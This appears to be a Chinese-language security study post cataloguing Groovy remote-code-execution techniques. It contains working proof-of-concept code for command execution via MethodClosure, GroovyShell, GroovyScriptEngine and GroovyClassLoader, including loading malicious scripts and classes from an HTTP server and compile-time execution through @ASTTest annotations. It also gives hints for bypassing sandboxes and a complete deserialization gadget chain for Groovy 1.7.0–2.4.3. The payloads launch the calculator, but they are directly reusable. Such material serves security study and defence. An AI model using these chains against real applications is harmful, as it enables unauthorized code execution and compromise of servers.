Groovy 是一种基于 Java 平台的面向对象语言。
pom.xml:
1 2 3 4 5
| <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.15</version> </dependency>
|
groovy也有自己的代码执行
Runtime.getRuntime().exec("calc")
等价于"calc".execute()
MethodClosure
call执行doCall
受保护方法doCall反射执行命令
1 2 3 4 5 6
| public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure("calc","execute"); mc.call(); }
|
GroovyShell
GroovyShell有两种执行命令的方式
evaluate存在多个重载,支持从GroovyCodeSource,String,File,URI,Reader执行代码
File,URI,和二次封装的GroovyCodeSource懒得写了
1 2 3 4 5 6 7
| public static void main(String[] args) throws Exception { GroovyShell shell = new GroovyShell(); String content = "'calc'.execute()";
shell.evaluate(new StringReader(content)); }
|
GroovyScriptEngine
GroovyScriptEngine支持从URL获取groovy脚本
run方法如下,传入脚本名和执行脚本所带的参数
会先调用loadScriptByName从URL/String/Resource获取groovy脚本
并执行脚本
具体原理不用深究,看下用法:
Evil.groovy类:
1 2 3 4 5
| class Evil { Evil() { "calc".execute() } }
|
比如指定系统ClassLoader去执行Evil.groovy类,无需编译,run时会自动编译
1 2 3 4 5 6 7
| public class groovyScriptEngine { public static void main(String[] args) throws Exception { GroovyScriptEngine gse = new GroovyScriptEngine(new URL[]{new URL("http://127.0.0.1:8888")},ClassLoader.getSystemClassLoader()); gse.run("Evil.groovy",""); } }
|
GroovyScriptEvaluator
GroovyScriptEvaluator.evaluate调用GroovyShell.evaluate
套娃,就是修改了接收参数为ScriptSource子类,用ResourceScriptSource才能接收URL
payload:
1 2 3 4 5 6 7
| ublic class groovyScriptEvaluator { public static void main(String[] args) throws Exception { UrlResource urlResource = new UrlResource(new URL("http://127.0.0.1:8888/Evil.groovy")); new GroovyScriptEvaluator().evaluate(new ResourceScriptSource(urlResource)); } }
|
GroovyClassLoader
有loadClass和defineClass
GroovyClassLoader.parseClass支持从File,字符串加载groovy类
从代码上来看,parseClass是走了一个双亲委派的过程。definePackage 方法虽然没有显式调用父类加载器的方法,但在类加载过程中会遵循双亲委派机制
1 2 3 4 5 6 7 8 9 10
| public static void main(String[] args) throws Exception { GroovyClassLoader gcl = new GroovyClassLoader(); Class clazz = gcl.parseClass("class Evil {\n" + " static {\n" + " \"calc\".execute()\n" + " }\n" + "}"); clazz.newInstance(); }
|
可惜需要实例化,单纯defineClass并没有什么用
不过在Groovy中,只加载不初始化也是有办法RCE的
AST注解
AST(Abstract Syntax Tree,抽象语法树)注解是 Groovy 提供的一种元编程工具,它允许你在编译时对代码进行修改或增强。这些注解在编译阶段被 Groovy 编译器识别并执行,因此可以在编译时对代码进行静态检查、代码生成或代码转换等操作。@groovy.transform.ASTTest
注解就是一个典型的例子,它在编译时执行指定的闭包,用于测试或验证代码的某些特性
AST注解的基本语法如下:
1
| @ASTTransformationClass(value="fully.qualified.name.of.TransformationClass")
|
其中,@ASTTransformationClass 是 Groovy 提供的一个元注解,用于指定一个实现了 org.codehaus.groovy.transform.ASTTransformation 接口的类。这个类在编译时会被调用,对标注了该注解的代码进行处理。
常见的AST注解:
@CompileStatic:启用静态类型检查,提高性能。
@Delegate:将方法委托给另一个对象。
@Canonical:自动生成构造函数、equals、hashCode 和 toString 方法。
@TupleConstructor:自动生成一个包含所有属性的构造函数。
@ASTTest:在编译时执行指定的闭包,用于测试或验证代码。
利用ASTTest可以在编译时就执行代码,从而RCE
比如,我指定下面的Evil.groovy
1 2
| @groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")}) class Person{}
|
POC:
1 2 3 4 5 6 7 8
| public class groovyClassLoader { public static void main(String[] args) throws Exception { GroovyClassLoader gcl = new GroovyClassLoader(); Class clazz = gcl.parseClass("@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec(\"calc\")})\n" + "class Person{}"); } }
|
利用addClasspath+loadClass还可以手动加载http远程groovy类
addClasspath调用addURL->URLClassLoader.addURL把URL加入了ucp,熟悉的已经想到ucp是类加载的路径了
loadClass会从ucp寻找该类
复现:
建一个恶意groovy类
在该目录下开http服务,并用GroovyClassLoader加载
1 2 3 4 5 6 7 8
| public class groovyClassLoader_URL { public static void main(String[] args) throws Exception { GroovyClassLoader gcl = new GroovyClassLoader(); gcl.addClasspath("http://127.0.0.1:8888/"); gcl.loadClass("groovy_RuntimeEvil"); } }
|
Groovy沙箱
maybe沙箱会限制evaluate call这些函数执行点
@AST和@Grab可能会绕过过滤,遇到了试一下吧,底层native的东西我也不会分析
Groovy反序列化
Groovy : 1.7.0-2.4.3
改下依赖到漏洞版本,利用链
1 2 3 4 5 6
| AnnotationInvocationHandler.readObject() Map.entrySet() (Proxy) ConversionHandler.invoke() ConvertedClosure.invokeCustom() MethodClosure.call() ProcessGroovyMethods.execute()
|
ConvertedClosure.invokeCustom调用了call方法
进而触发任意方法执行
加上ConvertedClosure继承了ConversionHandler
这是个典型的动态代理类
invoke方法里调用了invokeCustom
ConversionClosure随便代理一个类,由于call无参,只要类有无参方法即可。
最好是readObject有无参方法的,这样就能一步到位链起来。那就代理Map吧,然后用AnnotationInvocationHandler.readObject去调用Map.entrySet
注意这里AnnotationInvocationHandler并没有起到一个代理的作用
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class ConversionHandler { public static void main(String[] args) throws Exception { MethodClosure mc = new MethodClosure("calc","execute"); ConvertedClosure closure = new ConvertedClosure(mc); Object proxyConvertedClosure = Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},closure); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annoconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); annoconstructor.setAccessible(true); Object annotationInvocationHandlerInstance = annoconstructor.newInstance(Target.class,null); Field memberValuesField = annotationInvocationHandler.getDeclaredField("memberValues"); memberValuesField.setAccessible(true); memberValuesField.set(annotationInvocationHandlerInstance,proxyConvertedClosure); serialize(annotationInvocationHandlerInstance); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
挂个表
关键类 |
关键函数 |
MethodClosure |
call |
groovy.lang.GroovyShell |
evaluate |
groovy.util.GroovyScriptEngine |
run |
GroovyScriptEvaluator |
evaluate |
groovy.lang.GroovyClassLoader |
parseClass |
javax.script.ScriptEngine |
eval |